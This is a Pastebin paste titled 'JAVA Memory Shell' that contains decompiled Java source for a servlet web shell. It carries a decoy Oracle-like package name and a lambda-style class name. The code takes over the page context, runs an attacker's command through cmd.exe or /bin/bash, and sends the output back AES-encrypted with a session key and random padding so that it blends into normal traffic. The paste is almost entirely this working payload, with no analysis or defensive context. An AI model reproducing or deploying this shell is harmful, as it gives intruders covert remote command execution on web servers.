JohnGalt14

JAVA Memory Shell

Feb 28th, 2025
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 7.73 KB | None | 0 0
  1. package com.oracle.qb.jnbp;
  2.  
  3. import java.io.BufferedReader;
  4. import java.io.File;
  5. import java.io.InputStream;
  6. import java.io.InputStreamReader;
  7. import java.nio.charset.Charset;
  8. import java.util.HashMap;
  9. import java.util.Iterator;
  10. import java.util.Map;
  11. import java.util.Random;
  12. import java.util.UUID;
  13. import javax.crypto.Cipher;
  14. import javax.crypto.spec.SecretKeySpec;
  15. import javax.servlet.ServletOutputStream;
  16. import javax.servlet.ServletRequest;
  17. import javax.servlet.ServletResponse;
  18. import javax.servlet.http.HttpSession;
  19.  
  20. public class RqFl$$Lambda$1 {
  21.    public static String cmd;
  22.    private ServletRequest Request;
  23.    private ServletResponse Response;
  24.    private HttpSession Session;
  25.  
  26.    private byte[] Encrypt(byte[] var1) throws Exception {
  27.       byte[] var2 = this.Session.getAttribute("u").toString().getBytes("utf-8");
  28.       Cipher var3 = Cipher.getInstance("AES/ECB/PKCS5Padding");
  29.       var3.init(1, new SecretKeySpec(var2, "AES"));
  30.       return var3.doFinal(var1);
  31.    }
  32.  
  33.    private String buildJson(Map<String, String> var1, boolean var2) throws Exception {
  34.       StringBuilder var3 = new StringBuilder();
  35.       String var4 = System.getProperty("java.version");
  36.       var3.append("{");
  37.       Iterator var5 = var1.keySet().iterator();
  38.  
  39.       while(var5.hasNext()) {
  40.          String var6 = (String)var5.next();
  41.          var3.append("\"" + var6 + "\":\"");
  42.          String var7 = (String)var1.get(var6);
  43.          if (var2) {
  44.             Class var8;
  45.             Object var9;
  46.             if (var4.compareTo("1.9") >= 0) {
  47.                var8 = Class.forName("java.util.Base64");
  48.                var9 = var8.getMethod("getEncoder", (Class[])null).invoke(var8, (Object[])null);
  49.                var7 = (String)var9.getClass().getMethod("encodeToString", byte[].class).invoke(var9, var7.getBytes("UTF-8"));
  50.             } else {
  51.                var8 = Class.forName("sun.misc.BASE64Encoder");
  52.                var9 = var8.newInstance();
  53.                var7 = (String)var9.getClass().getMethod("encode", byte[].class).invoke(var9, var7.getBytes("UTF-8"));
  54.                var7 = var7.replace("\n", "").replace("\r", "");
  55.             }
  56.          }
  57.  
  58.          var3.append(var7);
  59.          var3.append("\",");
  60.       }
  61.  
  62.       if (var3.toString().endsWith(",")) {
  63.          var3.setLength(var3.length() - 1);
  64.       }
  65.  
  66.       var3.append("}");
  67.       return var3.toString();
  68.    }
  69.  
  70.    private String getRandomString() {
  71.       int var1 = (new Random()).nextInt(36) + 1;
  72.       return UUID.randomUUID().toString().substring(var1);
  73.    }
  74.  
  75.    private String RunCMD(String var1) throws Exception {
  76.       Charset var2 = Charset.forName(System.getProperty("sun.jnu.encoding"));
  77.       StringBuilder var3 = new StringBuilder();
  78.       if (var1 != null && var1.length() > 0) {
  79.          Process var4;
  80.          if (System.getProperty("os.name").toLowerCase().contains("windows")) {
  81.             var4 = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", var1});
  82.          } else if (var1.startsWith("!") && var1.contains(" ")) {
  83.             var1 = var1.substring(1);
  84.             String var8 = var1.substring(0, var1.indexOf(" "));
  85.             String var6 = var1.substring(var1.indexOf(" ") + 1);
  86.             var4 = Runtime.getRuntime().exec(new String[]{var8, "-c", var6});
  87.          } else if (var1.startsWith("@")) {
  88.             var1 = var1.substring(1);
  89.             var4 = Runtime.getRuntime().exec(var1);
  90.          } else {
  91.             File var5 = new File("/bin/bash");
  92.             if (!var5.exists()) {
  93.                var4 = Runtime.getRuntime().exec(var1);
  94.             } else {
  95.                var4 = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", var1});
  96.             }
  97.          }
  98.  
  99.          Thread.sleep(200L);
  100.          InputStream var9;
  101.          if (var4.getErrorStream().available() != 0) {
  102.             var9 = var4.getErrorStream();
  103.          } else {
  104.             var9 = var4.getInputStream();
  105.          }
  106.  
  107.          BufferedReader var10 = new BufferedReader(new InputStreamReader(var9, "GB2312"));
  108.  
  109.          for(String var7 = var10.readLine(); var7 != null; var7 = var10.readLine()) {
  110.             var3.append(var7).append("\n");
  111.          }
  112.       }
  113.  
  114.       return new String(var3.toString().getBytes(var2));
  115.    }
  116.  
  117.    public boolean equals(Object var1) {
  118.       boolean var2 = false;
  119.       HashMap var3 = new HashMap();
  120.       boolean var14 = false;
  121.  
  122.       ServletOutputStream var22;
  123.       label118: {
  124.          label119: {
  125.             try {
  126.                var14 = true;
  127.                if (var1.getClass().toString().contains("PageContext")) {
  128.                   this.Response = (ServletResponse)var1.getClass().getDeclaredMethod("getResponse", (Class[])null).invoke(var1);
  129.                   this.Session = (HttpSession)var1.getClass().getDeclaredMethod("getSession", (Class[])null).invoke(var1);
  130.                   var2 = true;
  131.                } else {
  132.                   this.Session = (HttpSession)((Object[])((Object[])var1))[0];
  133.                   this.Response = (ServletResponse)((Object[])((Object[])var1))[1];
  134.                }
  135.  
  136.                this.Response.setContentType("application/octet-stream");
  137.                this.Response.setCharacterEncoding("UTF-8");
  138.                if (var2) {
  139.                   Object var4 = Class.forName("javax.servlet.jsp.PageContext").getMethod("getOut").invoke(var1);
  140.                   var4.getClass().getMethod("clear").invoke(var4);
  141.                }
  142.  
  143.                var3.put("msg", this.RunCMD(cmd));
  144.                var14 = false;
  145.                break label118;
  146.             } catch (Exception var19) {
  147.                var3.put("msg", var19.getMessage());
  148.                var14 = false;
  149.             } catch (Throwable var20) {
  150.                var3.put("msg", var20.toString());
  151.                var14 = false;
  152.                break label119;
  153.             } finally {
  154.                if (var14) {
  155.                   try {
  156.                      var3.put("status", "success");
  157.                      var3.put("random", this.getRandomString() + this.getRandomString());
  158.                      ServletOutputStream var6 = this.Response.getOutputStream();
  159.                      var6.write(this.Encrypt(this.buildJson(var3, true).getBytes("UTF-8")));
  160.                      var6.flush();
  161.                      var6.close();
  162.                   } catch (Exception var15) {
  163.                      var15.printStackTrace();
  164.                   }
  165.  
  166.                }
  167.             }
  168.  
  169.             try {
  170.                var3.put("status", "success");
  171.                var3.put("random", this.getRandomString() + this.getRandomString());
  172.                var22 = this.Response.getOutputStream();
  173.                var22.write(this.Encrypt(this.buildJson(var3, true).getBytes("UTF-8")));
  174.                var22.flush();
  175.                var22.close();
  176.             } catch (Exception var17) {
  177.                var17.printStackTrace();
  178.             }
  179.  
  180.             return true;
  181.          }
  182.  
  183.          try {
  184.             var3.put("status", "success");
  185.             var3.put("random", this.getRandomString() + this.getRandomString());
  186.             var22 = this.Response.getOutputStream();
  187.             var22.write(this.Encrypt(this.buildJson(var3, true).getBytes("UTF-8")));
  188.             var22.flush();
  189.             var22.close();
  190.          } catch (Exception var16) {
  191.             var16.printStackTrace();
  192.          }
  193.  
  194.          return true;
  195.       }
  196.  
  197.       try {
  198.          var3.put("status", "success");
  199.          var3.put("random", this.getRandomString() + this.getRandomString());
  200.          var22 = this.Response.getOutputStream();
  201.          var22.write(this.Encrypt(this.buildJson(var3, true).getBytes("UTF-8")));
  202.          var22.flush();
  203.          var22.close();
  204.       } catch (Exception var18) {
  205.          var18.printStackTrace();
  206.       }
  207.  
  208.       return true;
  209.    }
  210. }
  211.  
Add Comment
Please, Sign In to add comment